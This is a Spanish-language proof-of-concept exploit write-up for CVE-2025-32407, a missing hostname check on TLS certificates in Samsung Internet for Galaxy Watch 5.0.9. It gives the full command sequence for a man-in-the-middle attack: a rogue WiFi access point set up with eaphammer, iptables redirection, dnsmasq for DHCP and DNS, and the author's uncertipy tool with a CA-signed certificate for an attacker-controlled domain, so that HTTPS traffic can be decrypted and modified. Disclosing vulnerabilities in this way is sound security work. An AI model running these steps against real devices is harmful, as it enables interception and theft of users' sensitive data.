
Exploit de prueba de concepto para CVE-2025-32407: omisión de la validación de certificados TLS en Samsung Internet para Galaxy Watch, que permite ataques de intermediario en el tráfico HTTPS.
Prueba de concepto para CVE-2025-32407: una mala configuración en la validación de certificados TLS de la aplicación para Samsung Galaxy Watch "Samsung Internet for Galaxy Watch" versión 5.0.9.
La aplicación para Galaxy Watch "Samsung Internet for Galaxy Watch" versión 5.0.9, disponible hasta Samsung Galaxy Watch 3, no valida correctamente los certificados TLS, lo que permite a un atacante suplantar todos y cada uno de los sitios web visitados por el usuario. Se trata de una mala configuración crítica en la forma en que el navegador valida la identidad del servidor. Anula el uso de HTTPS como canal seguro, permitiendo ataques de tipo Man-in-the-Middle, el robo de información sensible o la modificación del tráfico entrante y saliente.
En este caso particular, el navegador no valida que el dominio del certificado coincida con el nombre de dominio del sitio web. Esto significa que aceptará cualquier certificado TLS, emitido para cualquier dominio arbitrario, siempre que esté firmado por una Autoridad de Certificación de confianza. Entonces, un atacante podría obtener un certificado gratuito para un dominio que controle y, con él, interceptar todas las conexiones TLS generadas desde la aplicación.
Esto fue probado usando un Samsung Galaxy Watch 3 y la última versión de "Samsung Internet for Galaxy Watch" (5.0.9). Tenga en cuenta que este dispositivo actualmente no es compatible.

Para ayudar en la explotación, desarrollé una herramienta que intercepta dinámicamente las comunicaciones TLS y genera certificados TLS controlados por mí, lo que me permite descifrar y manipular los datos entrantes y salientes: https://github.com/diegovargasj/uncertipy. Se necesita un certificado TLS válido, con su clave, firmado por una CA real. Esto se puede hacer fácilmente y de forma gratuita con la API de Let's Encrypt y un dominio. Se almacenarán en /path/to/cert.pem y /path/to/key.pem, respectivamente.
Hay varias formas de interceptar la comunicación del Watch, como manipular las respuestas DNS o conectarlo a un Punto de Acceso WiFi creado para este propósito. Haremos esto último, utilizando un ordenador con 2 interfaces de red: wlan0 para acceder a internet y wlan1 para desplegar el Punto de Acceso WiFi.
Usaré eaphammer (https://github.com/s0lst1c3/eaphammer) para desplegar el AP WiFi, pero puedes usar el que prefieras.
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
Ahora, asigna una dirección IP a la interfaz:
sudo ip addr add 10.0.0.1/24 dev wlan1
Redirige el tráfico al puerto local 9900:
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
Y habilita DHCP y DNS:
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
Finalmente, lanza uncertipy para interceptar el tráfico TLS en el puerto 9900. Este tráfico será redirigido a un proxy HTTP en el puerto 8080, para su registro:
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
Ahora conectamos el Watch al AP WiFi, abrimos la aplicación y navegamos a cualquier sitio web HTTPS arbitrario.


La herramienta uncertipy notificará de las interceptaciones TLS.

El proxy HTTP comenzará a interceptar las peticiones, que pueden contener información sensible. Además, podemos aprovechar las funciones del proxy para modificar las peticiones entrantes o salientes.

La aplicación debería funcionar con normalidad, mostrando el contenido del sitio web.
